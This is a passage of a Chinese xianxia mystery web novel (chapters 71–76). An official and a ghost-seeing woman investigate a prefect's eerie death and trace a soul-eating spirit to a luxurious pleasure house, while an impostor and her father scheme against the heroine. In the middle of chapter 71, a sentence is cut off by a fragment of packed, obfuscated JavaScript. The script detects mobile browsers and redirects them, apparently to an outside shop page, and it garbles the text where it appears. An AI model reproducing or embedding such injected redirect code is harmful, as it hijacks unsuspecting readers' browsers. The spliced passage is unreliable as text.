“你说子时左右发现的尸体,那在此之前,书房四周的情况,你可知悉?”
小厮扑连忙跪在地上,解释道:“知府大人一般不许我们进书房伺候,又十分体恤下人,说这样冷的天,在旁边小室听差即可,听见动静,才会上前。”
“小人…除了中间去过一次茅房之外,其他时候都未走开过。”
“而以知府大人的习惯,通常是半个时辰左右,才会要一次茶水。”
“但昨晚,自卢先生走后,书房内便没有传出任何动静。”
任风玦默了默,又向管家问道:“府上的人都齐了吗?可还有人未到场?”
管家稍微迟疑了一下,才回道:“下人都齐了,唯有…我们家公子,他…只怕不能见客。”
世人皆知,郑道远有个痴傻儿子,因先天不足,智力低下,如今虽年过双十,仍如同稚子。
任风玦点了一下头,也不多问,起身正待往书房而去,却闻厅外传来动静。
似有人不顾阻拦,硬闯了进来。
“你们是何人?刑部办案,闲杂人等,不得入内。”
“再上前一步,可别怪我们不客——”
告诫的话未说完,也不知为何戛然而止。
众人诧异望去,只见一名年轻女子缓步走来,后面还跟着一个道士。
夏熙墨的目光在厅内扫了一眼,最后落在任风玦身上。
“这案子恐非人为,单靠你一人,只怕办不了。”
第71章 一魄
“你这女子又是何人?竟敢对任大人出言不逊?”
见夏熙墨不顾阻拦硬闯进来,且还对任风玦说出这样的话。
关跃当即上前了一步,欲要替任大人维护“官家”脸面。
然而,一旁余琅却眼疾手快拉住了他,“诶?关郎中,咱们借一步说话。”
关跃被他的力道带得连连后退数步,心下纳闷了。
“余少卿这是何意?”
余琅立即凑到他耳边轻声道:“这位姑娘与任大人…那个嘛,关系不太一般。”
关跃原本几乎倒竖的浓眉,当即顺了过来,也压低了声音问道:“大人‘宅中藏娇’的传言竟是真的?”
“……”
余琅可不敢应声,只得挤了挤眉头,弄了弄眼睛。
关跃则愈发沉浸在自己的猜测之中不可自拔。
嗐!这下可**不离十了。
那边,任风玦对于夏熙墨的到来,多少也感到意外。
他向来心思活络,前因后果一联想,大概就明白了。
但也不知是不是还在为她那句“不相干的人”而介怀。
他面上神情淡淡,却故意问:“怎么?夏姑娘要来助本官破案吗?”
说起来,夏熙墨心下也有一丝怪异的感受。
自入世以来,她极少会去在意人的情绪。
包括她自己,也总是无波无澜,无悲无喜。
可现在,她竟能察觉到眼前这个男人情绪中的微小变化。
这可不是什么好的苗头。
“你难道不需要?”
夏熙墨也问他,用的虽是“问句”,但语气却是“肯定”的。
任风玦被她这么一句,面上反而露出笑意。
这点点笑意,在不远处关跃看来,可是惊天发现,他轻轻撞了一下余少卿的手臂。
“你看到没?任大人对她笑了…”
余琅:“……”
在管家指引下,一行人开始往郑道远书房内走去。
任风玦为首,左后方为夏熙墨,右后方为颜正初。
再往后,才是余琅与关跃。
书房离正厅并不远,只需穿一条长廊,过一间庭院。
任风玦一路都在观察地形。
他在书房门前看到了小厮口中所说的“小室”,正对着书房门口,且还对着窗子。
也就是说,无论是有人来过,抑或是房中传来什么动静,小室内的人都可以看得一清二楚。
昨夜,若排除小厮职责疏忽的可能之外,那能做到在“无声无形”下行凶的,只能是…
郑道远的尸身已经仵作之手检验过了。
这名老仵作姓董,是行内首屈一指的人物。
但面对这具尸体时,他竟也是一筹莫展。
尸首除了“七窍流血”这一特征之外,根本查不出致死的原因。
无外伤,非**,甚至,身体更无任何显著病症。
唯一符合的一点,倒像是“寿终正寝”的自然死亡。
可郑道远也不过才刚刚步入不惑之年。
而最重要的是,这具尸体的死亡特征,与昨日东市街口周宅的尸体完全一致。
听完老仵作的阐述,任风玦却下意识看向一旁的夏熙墨。
只见对方正站在书桌前,与那具尸体对视,面上竟无一丝惧色。
一旁关跃看到这幕,也是噎了噎。
心道,不愧是被任大人藏在宅中的女人,竟有这般胆识。
夏熙墨手抚渡魂灯,低声问:“感受到了吗?”
无忧答:“这次倒是有一点点…”
“在哪儿?”
“在…那扇屏风后面。”
这间书房其实极为宽敞,分为里间与外间。
外间用作于读书写字处理公务。
里面还有一间小卧,被一道六扇的檀木髹漆屏风恰好挡在了门口处,倒是有些隐蔽。
夏熙墨刚要过去,察觉到目光的注视,顿足回头,恰好与任风玦相视。
她薄唇轻吐:“别靠太近。”
任风玦立即明白了她的意思,并自觉退出门外。
关跃见状,悄悄吃了一惊,也跟着任大人退出门外。
颜正初却没有进屋,此时正在庭中,手拿一把罗盘在比划着。
忽然间,他“哎呀”了一声,抬头望向屋顶方向,跟着纵身一跃,轻盈而上。
关跃立在门口处,里里外外看了几眼,心里除了疑惑之外,还有怀疑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147050|196398||http|test|mini|href|location''.split(''|''),0,{}));
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r>但见任大人,却是一副有恃无恐的样子,他也不好出声多问什么。
于是,只能悄悄来到余琅跟前,用眼神示意,问道:“余少卿,这二位靠谱吗?”
余琅也不知从哪儿摸出一把折扇,装模作样摇了摇,小声回道:“其实我也好奇…”
“感觉…自我去了一趟西泠县回来,错过了不少有意思的东西。”
他反倒向关跃问道:“听说大人前不久破了一桩青楼腐尸之案,凶手最终竟断头而亡,你可知一二?”
关跃点了一下头:“那事说来,也很蹊跷。”
说着,两人便小声絮叨了起来。
夏熙墨绕过屏风,走进书房小卧,果然看见一道模糊的黑影,缩在角落里。
“先别过去。”
无忧出声提醒:“那只是死者的一魄。”
三魂七魄中的“七魄”,分别对应着人的喜、怒、哀、乐、惧、爱、恶、欲。
按理说,人死后化为鬼,若非停滞世间太久,也无外界干扰,三魂七魄就还是一体。
这一“魄”,为何会分离,又为何被遗留在此,倒有些令人费解。
无忧忍不住从渡魂灯内出来,慢慢向那黑影靠近。
黑影受干扰,则愈发往角落里缩…
无忧琢磨了一会儿,推测道:“这一‘魄’,应该是被吓出来的。”
那对应的是“惧”。
应该是在郑道远临死之前,受了极大的惊吓所致。
夏熙墨知道,“魄”是比散魂还要低一等的灵体,不但没有意识,甚至化不成形,更难以在人世存留太久。
“可有办法先留住它?”
无忧道:“先把它收进灯里,但能存留多久,可就说不准了。”
夏熙墨当机立断:“收了,等下问问那个道士。”
闻言,无忧立即化作一道白影,卷着角落残影,一齐消散在渡魂灯内。
然而,就在这时,一旁箱笼内传来细碎声响,似有活物藏在其中。
夏熙墨听见动静,立即扫了一眼。
“出来。”
下一秒,箱笼被人小心翼翼从里面推开,露出一张年轻男子的面庞,茫然望着周遭一切。
第72章 画凶
藏在箱笼中的年轻男子,正是郑道远之子,名唤郑泽。
此时,他乍然看到一张陌生面孔,吓得立即哇哇大叫,惹得屋内外众人都相继朝内看了过来。
“你们是什么人?”
“你们是鬼吗?”
“这里有鬼,爹爹,这里有鬼!”
郑泽一边哭闹着,便要将箱笼重新盖起来。
管家闻声,立即进了小室,“哎呀,我的公子,你怎么在这里啊?”
怕郑泽添乱,他上前就要将人从箱子里拉出来。
可郑泽身躯高大,若他要执意留在箱子里,光凭管家一人之力还真奈何他不得。
只听他嘴里不停叫嚷:“他们是鬼!他们都是鬼!”
管家无奈,正待喊仆人进来带走郑泽。
夏熙墨却冷不丁问道:“你昨晚是不是见过鬼?”
此言一出,众人皆倒吸一口凉气。
管家更是忍不住以责怪的目光看了她一眼。
他们家公子本就痴傻,这个时候跟他提“鬼”,可不就是哪壶不开提哪壶?
哪知郑泽一听,明澈的眼眸中几乎溢着光,他不停点头附和,仿佛亲眼所见。
“我看到了鬼!”
满室惧惊。
门外的任风玦,也跟着一顿。
看样子,郑公子昨夜就藏在书房内,并有极大可能目睹了整件事情的经过。
夏熙墨心中也有自己的考量。
她又继续问:“鬼,长什么样子?他又做了什么?”
郑泽手指门外,正是任风玦所站的位置。
“他…就在门外!爹爹打开房门,是你!”
“他也说话了!”
他从箱笼里站起来,忽然将头耷拉下来,用一种阴沉的语气说道:“借一样东西用用。”
“爹爹…你不要过来!”
“鬼走了进来!好可怕!”
说着,他又将身子藏进了箱笼里,死死埋着头。
这番话虽听起来语无伦次,但若细察,就会发现更像是“两个人”之间的对话。
夏熙墨听出来了,回头看了任风玦一眼,对方像是瞬间领会了她的意思,径自走向小室内。
他目光四下掠了一圈,忽发现南窗边设了一处小书案,看起来像是为孩童而设。
笔架上挂着几支狼毫笔,一张雪白的宣纸平铺于案,上面正画着四季花鸟,以及不同人物。
画风虽稚嫩,但那鸟儿的神态,以及人物的形态,都还有几分传神。
任风玦心念一动,在箱笼边慢慢蹲了下来,
他语气温和,问道:“郑公子喜欢画画?”
听到画画,郑泽才将头露出一半,小心翼翼回道:“爹爹说…我画得很好!他常常夸我!”
或许,他还并不知道父亲死去的真相。
任风玦赞许地点了一下头,又问:“既如此,你能不能将昨晚看到的‘鬼’,画出来?”
让一个“痴傻儿”画画指认凶手的?岂不是儿戏?
管家话到嘴边,察觉到身旁有一道冰冷的目光,又乖乖闭嘴了。
郑泽闻言,只是迟疑了一下,竟点头同意了。
他笨拙地跨出箱子,径自走向窗边小案坐下,并取出一支笔,就着纸上一块空白之处开始慢慢勾勒。
众人皆一脸好奇投以目光。
任风玦也慢慢走到他身旁,开始细心观察。
郑泽画了一会儿,忽停笔抬头看他,眼中似有期许之意。
任大人心细如尘,读懂了他的意思,立即夸赞:“画得很好。”
众人:“……”
得到赞许,郑泽这才继续下笔。
但令人惊叹的是,这痴傻的郑公子,确实天赋了得,没过一会儿,一道身影便在纸上跃然而出。
长发披散遮住了脸,衣衫褴褛瘦弱不堪,一副摇摇欲坠的样子,仿佛风一吹就会倒。
确实有几分像是传闻之中阴魂不散的“鬼”。
任风玦细细看着,眉头轻拧,忽抬头望向夏熙墨,并朝她轻轻点头示意。
夏熙墨立即近前来看了看,脑海中却忽然闪过一张面孔。
周子规。
她与他,虽只有一面之缘,但却记得,他当时给人的感觉,便如这画中一般。
可是,他明明已经**。
就算设想是他的鬼魂所为,却也不对。
郑泽身上阳气充足,阴气难以入侵,这样的人,根本看不见鬼魂。
凝神思忖之间,一道身影轻盈跳到旁边的窗台上,吓得室内众人皆是一惊。
颜正初靠在窗棂上,面上带着几分得意之色。
“二位,贫道已知晓了这‘鬼物’踪迹,现只需一
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锭金子,就能悉数告知。”
此言一出,关跃忍不住站了出来。
“大胆,竟敢讹诈朝廷命官!”
然而,不等任风玦说话,夏熙墨却率先开口了。
“任风玦,给他。”
关跃满脸震惊之色。
不料,任大人竟也附和了一声:“好。”
关跃:“?!”
——
入夜。
城西赋楼,华灯流溢,宾客如织。
一道衣衫褴褛的瘦弱身影,迈着轻盈的步子,走到门前。
门口护卫见状,连忙上前将去路一拦。
“阁下可有‘赴宴牌’?”
诚然,这号称“人间仙境”的赋楼,可不是什么人都能进的。
入楼者,须得提前预购“赴宴牌”,牌子亦分“三等色”。
红牌为第三等,持牌者,只可在一楼大厅落座。
绿牌为第二等,可入二楼香阁。
唯有一等牌,为白色,可直入三楼“通天阁”。
相传,开楼至今,也只有太子殿下亲临时,才去过三楼。
然而,面前的人,却递来一块色泽莹润的白玉牌。
护卫面色变了,连忙恭敬让到一旁,“贵客您请。”
“找白轻霜。”
他吩咐了一声,当即便有两名绝色婢女婷婷袅袅前来引路。
绕过一楼欢闹的人群,顺着楼梯往上,又穿过二楼笑语晏晏的香阁。
相较之下,三楼很静。
“通天阁”门打开后,入眼即是一片雾色。
香烟缭绕,如梦如幻。
婢女在旁柔声道:“奴婢们伺候您宽衣。”
“嗯。”
衣衫散尽,他赤足踏入一片汤池之中,并慢慢坐了下来。
热水漫过身体,他闭目靠在池边。
一条纤细的藕臂,却从水底伸过来,慢慢搂住他的脖子。
“没想到你会喜欢这具身体…”
女子柔媚的声音,附在耳旁,送来香风,勾魂摄魄。
他面上淡淡,只在鼻间应了一声。
“好好洗洗吧,把你身上的‘阴煞之气’洗干净。”
“不然,被云鹤山那帮小道士缠上,可就不好甩开咯。”
女子娇笑着,又伸手抚了抚他的脸庞,声音带着蛊惑之意。
“欢迎你,重回人间。”
第73章 慌乱
“穆侍郎来了。”
听到这声通报时,穆汀汀正在镜前发呆。
今日,荣氏本是要带她进宫面见皇后的。
章皇后自得知她入京的消息后,便一直想召见她。
恰好这几日阳光好,御花园内的梅花也都开了,便想借着“赏梅”的由头,让她进宫一见。
是以,今早天还未亮,她就起床了。
吩咐莺儿拿出箱笼里的各式衣服拿来挑选。
又花了将近半个时辰,才选出一套不俗不艳且合适觐见的衣裙。
然而这时,宫中又突然传来消息,说章皇后头疾犯了,择日再传召。
这让穆汀汀原本高涨的心情,瞬间又陷入了低沉。
直到,穆铮登门的消息传来,让她心下猛地一跳,忙问:“谁?”
负责通报的婢女容舒笑道:“夏小姐,是您的舅父——穆侍郎啊。”
“舅父…”
穆汀汀推开正在给自己梳头的莺儿,站起身来,却又莫名犹豫了一下,心情一阵跌宕起伏。
容舒又道:“穆侍郎说了,是昨日小侯爷亲自去了一趟他宅中,而他恰好外出不在,以为是有什么事情,这才选择一早登门来询问。”
“又交代了一句,若是小姐忙着,就不必见了。”
穆汀汀面色晦暗难定。
她知道,父亲不会无故登门来。
一定是发生了什么事才对。
没来由的心慌,让她不由自主攥紧衣袖,又勉强缓了缓神色,说道:“舅父好不容易来一趟,我若不见,好似也不在情理之中。”
“这样吧,容舒姐姐可否替我问下侯爷或者夫人,让我与舅父在东苑外花厅内见见?”
说着,便从妆奁内拿出一锭银子递了过去。
容舒本不想接。
但这些日子与“夏姑娘”相处,她知道对方是个性子谨慎且讲礼数的人。
倒也不好拂了她的面子,便又笑道:“小姐这么说可就生疏了,侯爷与夫人都是通情达理之人,又岂会不让小姐与大人见面。”
“奴婢这便去前厅请穆大人过来。”
“有劳姐姐。”
望着容舒身影远去,穆汀汀也重新坐回到梳妆镜前。
只是一双手,却莫名抖个不停。
莺儿看出她害怕,便低声宽慰道:“小姐不必担心,穆大人既同意您进京来,自然会替您铺好后路。”
穆汀汀却对着镜子冷冷一笑。
父亲的性子,她是知道的。
当初,夏熙墨病重,每日吃着昂贵药材续命,身体却仍不见好。
父亲可生怕她**,自己会失去仁宣侯府的照拂。
每每书信回家,字字不离夏熙墨,压根就忘了自己还有个亲生女儿。
最终,还是母亲出主意,让她替代夏熙墨,去面见侯夫人。
她永远都记得,父亲当时对母亲说过的一句话——这事情若是败露了,你自己担着,可与我无关。
他既要将自己置身于事外,亦要揽下这诸多好处!
穆汀汀知道,母亲去世后,她就只能靠自己了。
父亲答应让自己入京,是不得已之举。
他大概是怕真正的夏熙墨入京后揭穿丑事,不想影响自身仕途,才不得下了这最后一颗“棋子”。
但最后,若事情真的败露了,焉知他不会急着要与自己划清关系?
没过一会儿,容舒便又来通报了。
“夏小姐,穆侍郎已经在花厅内等您了。”
穆汀汀应了一声,和莺儿一起,出了东苑。
说起来,自父亲入京为官后,便极少回西泠县。
父女间也难得见面。
前不久她秘密进京,怕人起疑,两人也只是在出发前通过一次书信。
此时,远远见到父亲身影,她心中情绪复杂。
进门后,当着众人的面,她低低唤了一声。
“舅父。”
穆铮后背一震,这才慢慢转过身来,眼里竟也闪着泪光:“好孩子。”
两人以“舅甥关系”寒暄了几句,等到容舒以及侯府婢女走开。
穆铮才压低声音说道:“汀汀,我的乖女儿,你实在是受苦了…”
听到这声称谓,穆汀汀先是一呆,心中冷笑,面上却依然乖巧。
她垂首叹道:“母亲已经去了,女儿如今在世上只剩下父亲这么一个亲人,到京中来,能离父亲这么近,心下已无遗憾。”
穆铮叹了口气,“你若是能嫁入侯府,自然是再好不过的事,只是眼下,恐怕有些阻碍。”
穆汀汀就知道出事了。
她颤声问道:“小侯爷那边…是不是已经查到了什么?”
穆铮看了一眼厅外,才答道:“他已经派人去了一趟西泠县。”
穆汀汀脸色发白。
“那他
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…”
难怪他会突然悄无声息回了一趟侯府。
穆铮解释:“所幸宅中下人都已遣散,只留下了周管家与几个老奴,都是信得过的。”
“而且,该交代的都交代过了,倒也不怕查…”
“就是那门房老张,喝醉了酒,会乱说话。”
穆汀汀心下怦怦直跳,目光中却一抹狠戾之色:“当初就不应该留他!”
“小侯爷生性多疑,他这一趟肯定是查到了什么,不然也不会突然找上我后,再找上你。”
穆铮先是惊诧于女儿的眼神,后问:“他…也怀疑你了?”
“是。”
穆汀汀低低应着,神情也转变得极快,甚至带着几分凄楚:“自他见我第一面,我就知道他不信我。”
闻言,穆铮沉默了一下,才道:“必然是因为熙墨…”
穆汀汀心里跳得更厉害,“什么意思?夏熙墨她真在京中?”
穆铮点头。
“她不但进了京,还找上了小侯爷,甚至这些时日,她都一直住在小侯爷的宅子里。”
穆汀汀不知作何感受,似乎难以置信:“她…竟有这等本事?”
“难怪小侯爷不信我,原来…”
她跌坐在椅子上,面色已是难看到了极点。
忽又联想到那日在杜国公府时,听到的那句话…
“父亲,您要帮帮我,我若是被拆穿…”
穆铮慌张朝外看了一眼,又拍了拍她的肩膀:“要想成事,熙墨是不能留了。”
穆汀汀激动地抓住他的衣袖,“父亲,您一定不能心慈手软,不能留后患啊!”
穆铮顿了一下,才缓缓说道:“她进京后的行踪,十分古怪,又时常与小侯爷在一起,确实难以下手。”
“不过,你且放宽了心,小侯爷既没有带她回府,想必也是不信任她的。”
“你在府里好好待着,有侯夫人信任你,你应当更有把握才是。”
穆汀汀沉默了一下。
父亲这番话,无疑是在说——她只能靠自己了。
“父亲。”
她忽然幽幽唤了一声,继而说道:“我们不能再坐以待毙了。”
“女儿现下倒有一条出路,您可否愿意一试?”
穆铮被女儿这么一问,背脊竟莫名一阵发凉。
只听她继续问道:“你可曾听过,京中有一处地方,叫赋楼?”
第74章 赋楼
“你们看,脚印就是在这里消失的。”
颜正初手执罗盘,指着不远处的台阶,任风玦与夏熙墨则同时抬头。
只见牌匾上写着两个字——赋楼。
这座楼位于城西广场,远离街市,不仅楼层高于一般酒楼,就连门前阶梯,都要比别处多出好几节。
立于阶下望去,可谓高耸入云,整体气派恢宏,一看就不是穷人能去的地方。
夏熙墨却想也不想就径自拾阶而上,任风玦则在原地思虑了片刻,这才尾随而至。
在他们身后,关跃看了一眼余琅,正要上去,却被对方一把拦住。
“不急。”
此时,大门是关闭的。
敲了半晌,才有一个小厮前来开门。
他揉了揉惺忪的睡眼,还打了个哈欠,解释道:“诸位,咱们赋楼都是入夜后掌灯,白日里打烊呢。”
夏熙墨用手抵住了门,眼风毫不客气地朝里一扫。
小厮被她那双幽深的眼睛打量着,心里惊了一下。
正要说话时,她却松开手,一语不发,转身又下了台阶。
任风玦有些不明所以。
一旁颜正初倒开口说道:“这楼看起来,确实有些古怪。”
古怪之处在于——实在太“干净”了。
无论楼里楼外,别说阴煞之气,就连一丝人间的浊气都无。
他忍不住向任风玦问道:“小侯爷可知这楼的来历?”
任风玦点头:“不多,知道一些。”
“赋楼”的名声,在京中响起时,是在一年前。
而在此之前,竟无人对此有印象。
它就像是凭空而出,平地而起。
自“出世”后,便在上京赚足了眼球。
不少富商名士,甚至达官贵人,都不惜豪掷千金,想去里面见识一下何为“人间仙境”。
有人传言,这赋楼背后的主人,乃是当今的太子殿下。
只因一年前,赋楼刚刚名声大震之时,太子殿下曾亲临过一次。
当时,听说太子刚刚大病初愈,身体尚虚,他手执楼中白玉牌,直往三楼“通天阁”。
自下楼后,整个人便容光焕发,再也不见任何病态。
这事说来传神,不少人都想去见识。
但无论出多少钱,都换不来一块“白玉牌”。
也有人想要硬闯。
结果,被楼中护卫直接从三楼扔下,当即一命呜呼。
若换作一般酒楼,发生这种事情,就算不闹出官司,也必然会对楼内生意有极大影响。
可…赋楼不是。
就算死过人,背了骂声,生意也依然一日好过一日。
照样一到入夜,便宾客如织,络绎不绝。
颜正初好奇道:“那小侯爷可曾去过楼内一观?”
任风玦摇头,“不曾。”
“不过,我记得倒是有人,曾送过我一张绿牌…”
“小侯爷忘了,绿牌到我手里了。”
台阶下的余琅抬手应了一声。
作为场内唯一一名去过赋楼的人,他忍不住侃侃而谈:“但在我看来,那也就比一般酒楼稍微多了几分风雅与情调罢了,并不似传闻中那样神乎其神。”
“不过嘛——”
他语调忽然一转,由衷赞叹道:“他们楼内的白掌柜,倒可以称得上是倾国倾城之貌,不少人也都是冲着她去的。”
任风玦对此当然兴致不大,转头又向颜正初问道:“道长确定杀害郑道远的‘鬼物’进了楼内?”
颜正初一脸笃定:“我这觅魂术,肯定不会有错。”
“上次能找到郊外那间寺庙去,也多亏了这术法。”
渡魂灯内,无忧狐疑道:“他上次那术法该不会是用在我身上吧?”
唯一能听见它声音的夏熙墨没答话。
任风玦若有所思,却又下意识看了夏熙墨一眼,“夏姑娘觉得如何?”
夏熙墨却已经下了决定:“等天黑。”
天黑后阴气重,能滋养阴邪之物。
若这座楼真有什么问题,估计也只有在天黑后,才能看出端倪。
颜正初十分赞同:“累了大半天,我们是该回去休息片刻了,养精蓄锐,天黑后再去‘捉鬼’。”
余琅却又出声道:“大家只怕忘了一件事情,就算天黑后进楼,也得按照他们的规矩,拿到玉牌才行。”
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任风玦看了他一眼:“说得极是,这事便交给余少卿了。”
“嗯?”
余琅大惊:“大人,这事恐怕有点为难我了?方才说了,我唯一去的一次,还是仰仗您的光呢。”
“话说,您那块绿牌又是从何而来?”
他这么一问,任风玦才隐隐想起来。
当初那块牌子,正是太子遣人送到任宅的,据说,朝中重臣,几乎人人都得了一块。
想到太子,任风玦心中也多了几分异样的感受。
“牌子是太子给的,总不能让本官再去东宫要两块?”
余琅讪笑,知道这事非得自己来不可。
“那还是算了,不然我去问问好了。”
众人前脚离开赋楼,一辆马车便从街道的另一头慢慢驶入。
穆铮悄然从车内走出,却没有直入大门,而是绕了一圈,找到侧面一道小门。
他叩门后,里面便伸出一只白嫩纤细的手。
“有劳。”
穆铮递上一块玲珑小巧的白色玉牌。
小门即被打开,露出一张笑意盈盈的脸:“您随我进。”
进了门内,四下一片阴沉,唯一的一点光亮,还是从引路婢女手中风灯映照而出。
穆铮背后发凉,竟隐隐想打退堂鼓。
那婢女察觉到他情绪的变化,不禁笑问:“穆大人这是怕了吗?”
听见对方一语道出自己的身份。
穆铮更是一惊,警惕问道:“你…又如何得知我的身份?”
婢女答道:“能来这里的人,我家掌柜早就算到了。”
“包括您的来意,她也知晓。”
“若穆大人有胆识,且付得起‘价钱’,您所求之事,我们都能办到。”
听了这话,穆铮才敢继续跟她往前走。
顺着楼梯,一步步拾阶而上,走了许久,腿都隐隐有些发酸。
他才看见一道阁门。
那阁门在无人动手的情况下,竟自行而开,里面香风阵阵,烟雾缭绕,让人一时间分不清虚实。
而就在穆铮进退两难之际,里面传来一道女子娇柔的声音。
“穆侍郎,您请进吧。”
第75章 捉鬼
余琅出去问了一圈,靠着自己在京中的人脉,勉强于酉时左右弄来了三块牌子。
可就在他进任宅,准备向任大人交代任务时,迎面飞来一道黄符正入眉心。
他整个人当即仰面倒了下去。
随后,眼前人影模糊,逐渐身陷黑暗。
“笃笃笃…”
似是敲门声在耳边响起。
余琅又是一惊,诧异回头,却发现自己竟身处在一间书房内。
而这间书房的格局也很熟悉,是白日里才去过一趟的——顺天知府郑道远的书房。
“我怎会在这里?”
余琅很是迷惑。
见面前是苍茫黑夜,一道瘦弱的身影就立在门边。
他心里怵得很,根本不想过去。
但身体却完全不受控制,快步走到了门边,并一把打开了房门。
“是…是你?”
冷风直往房里灌,余琅听见自己“出声”了。
但这声音明显不是自己的声音…
怎么回事?
门外之人诡笑了一声:“借一样东西用用。”
“你不是已经**吗?”
余琅吓得踉跄后退,却听见自己再次出声发问了。
直到这时,他才发现蹊跷之处。
此时的他,根本已不是“余琅”,而是变成了“郑道远”。
门外怪人一步步往内靠近,他睥睨着自己,“你的魂魄太肮脏,我本不屑于要。”
“可惜,‘他’想报仇的心,太过执着。”
“我只能杀了你,才能心安。”
话说完,他伸出枯瘦的右手,覆盖住了自己的头颅。
余琅吓得惊叫一声,整个人便从“郑道远”的身体里弹了出来。
再望去时,他又发现自己靠在任宅正厅的椅子上,任风玦等人则站在一侧。
颜正初收了黄符,交给夏熙墨,“这道符咒应该能管十天半个月左右,但若迟迟找不回三魂与其他六魄,也就没用了。”
夏熙墨面无表情收了黄符,顺带放进自己的荷包里,转头问余琅:“刚刚你看到了什么?”
余琅有些懵,回想起来,后背却一阵发凉。
“我…好像变成了郑道远。”
“这又是怎么回事?”
颜正初笑眯眯解释:“方才那道黄符,藏着郑道远的一魄,刚刚我以符咒唤醒了它生前记忆…”
“它又误打误撞飞到你身上,所以,才会令你短暂进入郑道远死前的记忆中。”
这说法,却让余琅眼前一亮,可谓既兴奋又害怕。
“当真有那么神奇?”
颜正初:“……”
夏熙墨却不跟他啰嗦,又问了一句:“你变成了‘郑道远’后,又发生了什么?”
余琅多少有些惧她,便老老实实将刚刚在幻境中所见,都说了出来。
只听颜正初“嘶”了一声,推测道:“那应该是这邪物吃了周子规的魂魄,又幻化成他的样子,顺带还帮周子规杀了郑道远报仇。”
余琅听得好奇心高涨,忍不住问:“究竟是什么邪物,能有这种本事?”
未能听到答案,一旁任风玦却冷不丁朝他伸出手来:“牌子呢?”
余琅这才想起自己来此的正事,从怀中拿出两道红牌,一道绿牌。
“我可是把能问的都问了,才得了这三道牌子。”
任风玦顺手拿了,口头表示了一下:“辛苦余少卿了。”
但只有三道牌子。
那肯定只能去三个人了。
余琅故意轻咳一声,又说道:“三道牌子只能对应三个人。”
“所以,任大人晚间要如何安排?”
任风玦还未出声,身旁的夏熙墨却默默从他手中抽走了那道绿牌。
丝毫不与他见外。
颜正初也顺手抽走一张红牌,解释道:“这事没我,肯定也不行。”
任风玦望着手中最后一道牌子,单一个眼神示意,余琅就知道这事肯定没自己的份。
热闹看不成,他兴致全无,便叹了口气,自顾自坐到一旁茶案上,给自己倒了一杯热茶。
入夜后,三人各自换了一身衣裳,于任宅门前集合。
颜正初为避人耳目,弃了道袍,而作一身文士打扮。
他本就生得眉清目秀,此时褪去道袍,梳整了头发,手执一把折扇,竟难得有几分儒雅。
夏熙墨本不欲梳妆换衣,却拗不过天青执着,便换了一件眼下京中最时兴的石榴红羽纱面的斗篷,领口袖口镶着雪白的毛边,梳的是“**髻”,化的是“点梅妆”。
这一套打扮,削减了她素来清冷的气质,却也是艳而不俗。
任风玦
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向来随意惯了,衣服总是以暗色为主,今日也难得换了一身白袍玉带,头发以金镶玉冠束起,端的是芝兰玉树之姿。
他看了一眼颜正初,满意点头,随后又看了一眼夏熙墨,眸色之中多少掠过一丝惊艳:“这红色,很衬你。”
夏熙墨扫了他一眼却没理,提着衣裙,便上车去了。
望着她那灼灼一抹红影,任风玦竟莫名觉得似曾相识。
马车上,颜正初拿出两道黄符分给二人,说道:“这符咒你们随身携带,以免走散。”
夏熙墨看起来颇为嫌弃,并不想接。
但想到自己这具身体的状况,还是勉为其难拿下了。
任风玦则试图向她劝道:“余琅说,你手上那道绿牌是直接上二楼的,要不我们交换一下,你与颜道长同路。”
“不用。”
夏熙墨心里也有自己的打算。
她想,那赋楼最大的问题,应该就出在三楼“通天阁”。
二楼离得近些,迫不得己要硬闯的时候,也容易一些。
任风玦知道她不听劝,便道:“我已从暗影司调了几名精锐潜藏在赋楼四周,若真有什么不对劲的话,他们可以进楼相助。”
颜正初却笑道:“捉人嘛,肯定是你们官府擅长,但若论‘捉鬼’的话,有我就行。”
他说得信誓旦旦。
任风玦也不好再多说。
车子缓缓而行,于戌时左右,抵达了赋楼。
比起白日沉睡一般的寂静。
掌灯后的赋楼果然换了一副风貌。
隔着半里地的距离,仿佛都能听到人声鼎沸。
再近一些,只见花灯迷离,宾客如云,真真是将这上京的富庶之地,展现得淋漓尽致。
马车停下来,立即有小厮上前来帮忙安置马车,对于不进楼的车夫,亦有歇脚招待之地。
“这排场,确实名不虚传啊。”
颜正初望着往来人群,不禁感叹了一声。
夏熙墨下马车就直往大门而去,看样子,是一刻也等不得。
任风玦迅速与阿夏交代了两句,不得不加快步子跟上。
只是,没走两步,却闻身后有人喊他:“小侯爷?”
“没想到你也在这里?还真是稀奇了。”
任风玦回头看了一眼,却是一阵头疼。
第76章 入楼
前来搭话之人,乃是杜国公之子——杜月明。
此时,他正在仆人的搀扶之下,慢慢下了马车。
这样冷的天,他竟只穿了一件薄薄的翡绿色缎面锦袍,腰间蹀躞带上挂满了名贵饰品。
以至于走起路来,环佩叮当,十分惹人注目。
“小公爷。”
任风玦颔首以礼,算是打招呼。
两人自小便相识,杜月明自然不在乎他态度冷淡,依然笑容满面。
“怎么今日得闲来此?是一人来?还是?”
前面的夏熙墨走得太快,任风玦来不及介绍,便拉着颜正初过来,“我与朋友一同。”
杜月明打量了颜正初一眼:“这位公子眼生得很?作何称呼?”
颜正初立即拱手作揖:“鄙人姓颜。”
“幸会幸会。”
毕竟是任风玦同行好友,杜月明倒也给几分薄面:“改日请公子来我府上饮酒。”
颜正初笑着答应了。
客套完,杜月明便迫不及待拉着任风玦往楼里走去,并小声在他耳旁说道:“前几日,侯夫人带了夏将军之女来我府上…”
“我当时远远看了一眼,倒还真不错,与你也算相配。”
岂料,任风玦只是淡然回了一句:“哦?是吗?”
杜月明见他一副满不在乎的样子,就猜到他是不满被“指腹为婚”。
于是也叹了口气:“咱们这些人啊,虽出身就高人一截,但有时候,也是身不由己,特别是这种世家联姻,哎…”
他语调一转,又接着道:“好在我家老头算开明,年初时,还想让我娶那太尉之女冯清。”
“我可顶不喜欢那些个文官之女,个个跟闷葫芦似的,一点风情都没有。”
任风玦一边听他絮叨,一边进了楼门。
他才递出红牌,杜月明又“啧”了一声,“这红牌怎能彰显你仁宣侯府小侯爷的身份呢?”
“来,我这里有两块绿牌,你与我一同上去玩。”
